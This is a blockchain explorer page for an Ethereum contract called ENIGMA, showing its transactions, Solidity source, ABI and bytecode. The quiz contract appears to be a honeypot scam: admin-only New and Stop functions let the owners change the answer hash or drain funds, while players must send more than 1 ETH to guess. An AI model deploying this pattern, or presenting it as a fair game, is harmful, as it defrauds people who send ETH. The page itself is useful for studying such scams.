ETH Price: $2,672.35 (+1.61%)

Contract

0x5BCBB71eF20825120774E35Cba72F1A15a9D27bA
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Stop75358142019-04-09 19:37:002136 days ago1554838620IN
0x5BCBB71e...15a9D27bA
0 ETH0.000029691
Start75357972019-04-09 19:33:222136 days ago1554838402IN
0x5BCBB71e...15a9D27bA
4 ETH0.000025951

Latest 1 internal transaction

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Parent Transaction Hash Block
From
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75358142019-04-09 19:37:002136 days ago1554838620
0x5BCBB71e...15a9D27bA
4 ETH
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Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x4141728e...83CFA2Ab5
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ENIGMA

Compiler Version
v0.4.25+commit.59dbf8f1

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2019-04-05
*/

pragma solidity ^0.4.25;

contract ENIGMA
{
    function Try(string _response) external payable 
    {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value > 1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
    
    bytes32 responseHash;
 
    mapping (bytes32=>bool) admin;

    function Start(string _question, string _response) public payable isAdmin{
        if(responseHash==0x0){
            responseHash = keccak256(_response);
            question = _question;
        }
    }
    
    function Stop() public payable isAdmin {
        msg.sender.transfer(this.balance);
    }
    
    function New(string _question, bytes32 _responseHash) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
    }
    
    constructor(bytes32[] admins) public{
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;        
        }       
    }
    
    modifier isAdmin(){
        require(admin[keccak256(msg.sender)]);
        _;
    }
    
    function() public payable{}
}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"_response","type":"string"}],"name":"Try","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"question","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"Stop","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_response","type":"string"}],"name":"Start","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_question","type":"string"},{"name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"admins","type":"bytes32[]"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

Deployed Bytecode

0x60806040526004361061006c5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416633853682c811461006e5780633fad9ae014610081578063bedf0f4a1461010b578063c76de3e914610113578063ed8df1641461019d575b005b61006c60048035602481019101356101eb565b34801561008d57600080fd5b50610096610264565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100d05781810151838201526020016100b8565b50505050905090810190601f1680156100fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61006c6102f2565b6040805160206004803580820135601f810184900484028501840190955284845261006c94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375094975061035d9650505050505050565b6040805160206004803580820135601f810184900484028501840190955284845261006c943694929360249392840191908190840183828082843750949750509335945061040f9350505050565b3332146101f757600080fd5b8181604051808383808284376040519201829003909120600154149350508215915061022c90505750670de0b6b3a764000034115b15610260576040513390303180156108fc02916000818181858888f1935050505015801561025e573d6000803e3d6000fd5b505b5050565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156102ea5780601f106102bf576101008083540402835291602001916102ea565b820191906000526020600020905b8154815290600101906020018083116102cd57829003601f168201915b505050505081565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561032d57600080fd5b6040513390303180156108fc02916000818181858888f1935050505015801561035a573d6000803e3d6000fd5b50565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561039857600080fd5b600154151561026057806040518082805190602001908083835b602083106103d15780518252601f1990920191602091820191016103b2565b51815160209384036101000a600019018019909216911617905260405191909301819003902060015550845161025e93506000925090850190610464565b604080516c0100000000000000000000000033028152815190819003601401902060009081526002602052205460ff16151561044a57600080fd5b815161045d906000906020850190610464565b5060015550565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106104a557805160ff19168380011785556104d2565b828001600101855582156104d2579182015b828111156104d25782518255916020019190600101906104b7565b506104de9291506104e2565b5090565b6104fc91905b808211156104de57600081556001016104e8565b905600a165627a7a72305820a36b5b7a781d4e43210b817fac1bd870b31726c5227d85f44399d5427c0c40c10029

Swarm Source

bzzr://a36b5b7a781d4e43210b817fac1bd870b31726c5227d85f44399d5427c0c40c1

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